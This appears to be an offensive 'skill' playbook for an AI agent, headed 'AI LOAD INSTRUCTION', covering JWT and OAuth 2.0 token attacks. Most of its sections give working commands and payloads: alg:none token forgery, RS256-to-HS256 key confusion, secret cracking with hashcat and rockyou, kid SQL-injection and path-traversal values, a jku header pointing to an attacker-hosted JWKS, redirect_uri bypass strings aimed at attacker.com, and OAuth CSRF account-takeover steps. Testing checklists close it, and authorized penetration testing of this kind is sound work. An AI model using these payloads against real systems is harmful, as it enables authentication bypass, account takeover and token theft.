jwt-oauth-token-attacks
SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.
0. RELATED ROUTING
Use this file for token-centric attacks and flow abuse. Also load:
- oauth oidc misconfiguration for redirect URI, state, nonce, PKCE, and account-binding validation
- cors cross origin misconfiguration when browser-readable APIs or token leakage may exist cross-origin
- saml sso assertion attacks when the target uses enterprise SSO outside OAuth/OIDC
1. JWT ANATOMY
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
HEADER PAYLOAD SIGNATURE
Decode in terminal:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}
Common claim targets (modify to escalate):
{
"role": "admin",
"isAdmin": true,
"userId": OTHER_USER_ID,
"email": "victim@target.com",
"sub": "admin",
"permissions": ["admin", "write", "delete"],
"tier": "premium"
}
2. ATTACK 1 — ALGORITHM NONE (alg:none)
Server doesn't validate signature when algorithm is "none"/"None"/"NONE":
# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD
Tool (jwt_tool):
python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants
3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION
When server uses RS256 (asymmetric — RSA private key signs, public key verifies):
- Server's public key is often discoverable (JWKS endpoint,
/certs, source code) - Attack: tell server "this is HS256" → server verifies HS256 HMAC using the public key as secret
# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert
# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes
4. ATTACK 3 — JWT SECRET BRUTE FORCE
HMAC-based JWTs (HS256/HS384/HS512) with weak secret:
# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt
Common weak secrets to test manually:
secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY
5. ATTACK 4 — kid (Key ID) INJECTION
The kid header parameter specifies which key to use for verification. No sanitization = injection:
kid SQL Injection
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
If backend queries SQL: SELECT key FROM keys WHERE kid = 'INPUT'
Result: HMAC key = 'attacker_controlled_key' → forge any payload signed with this value.
kid Path Traversal (file read)
{"alg":"HS256","kid":"../../../../dev/null"}
Server reads /dev/null as key → empty string → sign token with empty HMAC.
{"alg":"HS256","kid":"../../../../etc/hostname"}
Server reads hostname as key → forge tokens signed with hostname string.
6. ATTACK 5 — jku / x5u Header Injection
jku points to JSON Web Key Set URL. If not whitelisted:
{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}
Setup:
# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"
# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → accepts
jwt_tool automation:
python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json
7. OAUTH 2.0 — STATE PARAMETER MISSING (CSRF)
State parameter prevents CSRF in OAuth. If missing:
Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...
2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER
8. OAUTH — REDIRECT_URI BYPASS
Authorization codes are sent to redirect_uri. If validation is weak:
Open Redirect in redirect_uri
Original: redirect_uri=https://target.com/callback
Attack: redirect_uri=https://target.com/callback/../../../attacker.com
redirect_uri=https://attacker.com.target.com/callback
redirect_uri=https://target.com@attacker.com/callback
Partial Path Match
Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
https://target.com/callbackXSS (prefix match only)
Localhost / Development Redirect
redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob (mobile apps)
9. OAUTH — IMPLICIT FLOW TOKEN THEFT
Implicit flow: token sent in URL fragment #access_token=...
Fragment leakage scenarios:
- Redirect to attacker page: fragment accessible via
document.referreror via<script>window.location.href</script>in target page - Open redirect:
redirect_uri=https://target.com/open-redirect?url=https://attacker.com→ token in fragment lands at attacker's page
10. OAUTH — SCOPE ESCALATION
Request broader scope than authorized in authorization code:
Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?
11. TOKEN LEAKAGE VECTORS
Referer Header
Token in URL → page loads external resource → Referer leaks token:
https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs
Server Logs
Access tokens sent in query parameters are stored in:
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs
12. JWT TESTING CHECKLIST
□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header
13. OAUTH TESTING CHECKLIST
□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected